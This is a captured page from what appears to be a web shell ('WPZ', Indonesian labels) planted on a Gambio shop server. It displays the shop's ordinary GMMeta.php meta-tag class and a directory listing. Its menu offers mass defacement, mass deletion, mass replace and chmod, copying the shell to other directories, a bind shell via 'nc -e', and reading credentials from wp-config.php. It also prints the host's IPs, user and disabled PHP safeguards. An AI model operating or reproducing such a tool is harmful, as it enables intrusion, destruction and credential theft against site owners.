WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/GMMeta.php (8.29 KB)
<?php
/*
	--------------------------------------------------------------
	GMMeta.php 2011-09-15 gm
	Gambio GmbH
	http://www.gambio.de
	Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
	--------------------------------------------------------------

*/

	/*
	*	class GMMeta 	
	*/
	class GMMeta 
	{

		var $gm_lang_id;
		var $gm_lang_code;
		var $gm_language_charset;

		var $use_title;
		var $show_title;
		var $separator;
		var $title;

		/*
		*	class GMMeta 	
		*/
		function GMMeta() 
		{
			// get language
			if (!class_exists('language')) 
			{
				include_once(DIR_WS_CLASSES . 'language.php');
			}

			$lng = new language(xtc_input_validation('', 'char', ''));
			$lng->get_browser_language();
			
			if(!empty($_SESSION['languages_id']))
			{
				$this->gm_lang_id = $_SESSION['languages_id'];
			}
			else
			{
				$this->gm_lang_id = $lng->language['id'];
			}

			$this->gm_lang_code					= $lng->language['code'];
			$this->gm_language_charset			= $lng->language['language_charset'];

			$this->use_standard_title			= gm_get_conf('GM_TITLE_USE_STANDARD_META_TITLE');
			$this->show_standard_title			= gm_get_conf('GM_TITLE_SHOW_STANDARD_META_TITLE');
			$this->standard_title_separator	= gm_get_content('GM_TITLE_STANDARD_META_TITLE_SEPARATOR',	$this->gm_lang_id);
			
			$t_standard_title = gm_get_content('GM_TITLE_STANDARD_META_TITLE', $this->gm_lang_id);		
			if(empty($t_standard_title))
			{
				$t_standard_title = htmlspecialchars(STORE_NAME);
			}
			else
			{
				$t_standard_title = htmlspecialchars($t_standard_title);
			}			
			$this->standard_title				= $t_standard_title;

			return;
		}			

		/*
		*	get metatags 	
		*/
		function get($cPath, $product) 
		{			
			// get essential meta 
			$this->get_base_meta();
			
			// get optional metatags
			$this->get_optional_meta($cPath, $product);			

			// get content metatags
			$this->get_content_meta($cPath, $product);

			return;
		}		

		/*
		*	get essential metatags
		*/
		function get_base_meta()
		{
			echo '<meta http-equiv="Content-Type" content="text/html; charset=' . $this->gm_language_charset . '" />'	. "\n";
			echo '<meta http-equiv="Content-Style-Type" content="text/css" />'											. "\n";
			echo '<meta name="robots" content="' . gm_get_content('robots', $this->gm_lang_id) . '" />'					. "\n";
			echo '<meta name="language" content="' . $this->gm_lang_code . '" />'										. "\n";
			
			return;
		}		
		
		/*
		*	get metatags generated by content	
		*/
		function draw_page_title($content, $optional='') 
		{	
			if(!empty($_GET['page'])) 
			{
				$page = ' ' . GM_PAGE . ' ' . $_GET['page'];
			}
			
			if(!empty($content)) 
			{				
				$title .= htmlspecialchars($content)	.	$page . "\n";
			} 
			else 
			{
				$title .= htmlspecialchars($optional)	.	$page . "\n";
			}	
			
			if(empty($title))
			{
				$title = htmlspecialchars(STORE_NAME);
			}
			else
			{
				if((int)$this->use_standard_title == 1)
				{
					if($this->show_standard_title == 'before' || empty($this->show_standard_title))
					{
						$title = $this->standard_title . $this->standard_title_separator . $title;
					}
					else if($this->show_standard_title == 'after')
					{
						$title = $title . $this->standard_title_separator . $this->standard_title;
					}
				}
			}

			echo '<title>' . trim($title) . '</title>' . "\n";

			return;
		}	

		/*
		*	get metatags generated by content	
		*/
		function draw_meta_tag($name, $content, $optional="") 
		{			
			if(empty($content) && !empty($optional)) 
			{
				$content = $optional;
			}

			if(!empty($content)) 
			{				
				echo '<meta name="' . $name . '" content="' . htmlspecialchars($content) . '" />' . "\n";
			} 	

			return;
		}	

		/*
		*	get metatags generated by content	
		*/
		function get_content_meta($cPath, $product) 
		{			
			$gm_default = gm_get_content(array('keywords'), $this->gm_lang_id);			
			
			// handle products
			if($product->pID !=0) 
			{		
				$this->draw_meta_tag('keywords',	$product->data['products_meta_keywords'],		gm_get_content('keywords', $this->gm_lang_id));			
				$this->draw_meta_tag('description', $product->data['products_meta_description'],	gm_get_content('description', $this->gm_lang_id));				
				$this->draw_page_title($product->data['products_meta_title'], $product->data['products_name']);			

			// handle categories
			} 
			else if(!empty($cPath)) 
			{
				$gm_cat_id = explode('_', $cPath);

				$categories_meta_query = xtc_db_query("
													SELECT
														categories_meta_keywords,
														categories_meta_description,
														categories_meta_title,
														categories_name
													FROM " . 
														TABLE_CATEGORIES_DESCRIPTION . "
													WHERE 
														categories_id='" . xtc_db_input(end($gm_cat_id)) . "'
													AND
														language_id='" . $this->gm_lang_id . "'
													
													");

				$categories_meta = xtc_db_fetch_array($categories_meta_query, true);

				$this->draw_meta_tag('keywords',	$categories_meta['categories_meta_keywords'],		gm_get_content('keywords', $this->gm_lang_id));			
				$this->draw_meta_tag('description', $categories_meta['categories_meta_description'],	gm_get_content('description', $this->gm_lang_id));				
				$this->draw_page_title($categories_meta['categories_meta_title'], $categories_meta['categories_name']);
				
			// handle contents
			} 
			else if(strpos(gm_get_env_info('SCRIPT_NAME'), 'shop_content.php') !== false || (strpos(gm_get_env_info('SCRIPT_NAME'), 'shop_content.php') === false && !is_object($cPath) && empty($product->pID)))
			{
				if(!empty($_GET['manufacturers_id'])) 
				{
					$manu_query = xtc_db_query("
														SELECT 
															manufacturers_name
														AS
															name
														FROM 
															manufacturers
														WHERE 
															manufacturers_id='" . xtc_db_input($_GET['manufacturers_id']) . "'
														");

					$manu_meta = xtc_db_fetch_array($manu_query, true);

					$this->draw_page_title($manu_meta['name']);

				} 
				else 
				{					
					$gm_coID = (int)$_GET['coID'];

					if(strpos(strtolower(gm_get_env_info('SCRIPT_NAME')), 'index.php') !== false && empty($gm_coID))
					{
						$gm_coID = 5;
					}

					$contents_meta_query = xtc_db_query("
														SELECT 
															content_title,
															content_heading,
															contents_meta_title,
															contents_meta_keywords,
															contents_meta_description
														FROM " . 
															TABLE_CONTENT_MANAGER . "
														WHERE 
															content_group='" . xtc_db_input($gm_coID) . "'
														AND
															languages_id='" . $this->gm_lang_id . "'
														");

					$contents_meta = xtc_db_fetch_array($contents_meta_query, true);
					
					if(empty($contents_meta['content_heading'])) 
					{
						$contents_meta['content_heading'] = $contents_meta['content_title'];
					}
                   
					$this->draw_page_title($contents_meta['contents_meta_title'], $contents_meta['content_title']);
					$this->draw_meta_tag('keywords',	$contents_meta['contents_meta_keywords'],		gm_get_content('keywords',		$this->gm_lang_id));	
					$this->draw_meta_tag('description', $contents_meta['contents_meta_description'],	gm_get_content('description',	$this->gm_lang_id));
				}
			} 
		}			

		/*
		*  get all optional metatags
		*/
		function get_optional_meta($cPath, $product) 
		{		
			$gm_metatags = gm_get_content_by_group_id(1, $this->gm_lang_id);
			foreach($gm_metatags as $gm_key => $gm_value) 
			{			
				if($gm_key != 'keywords' && $gm_key != 'robots') 
				{		
					if((!empty($cPath) && $gm_key == 'description') || ($product->pID !=0 && $gm_key == 'description') || (isset($_GET['coID']) && $gm_key == 'description')
						|| (strpos(gm_get_env_info('SCRIPT_NAME'), 'shop_content.php') === false && !is_object($cPath) && empty($product->pID) && $gm_key == 'description'))
					{
						
					} 
					else 
					{
						echo '<meta name="' . $gm_key . '" content="' . htmlspecialchars($gm_value) . '" />' . "\n";
					}
				}
			}
			return;
		}
	}
?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK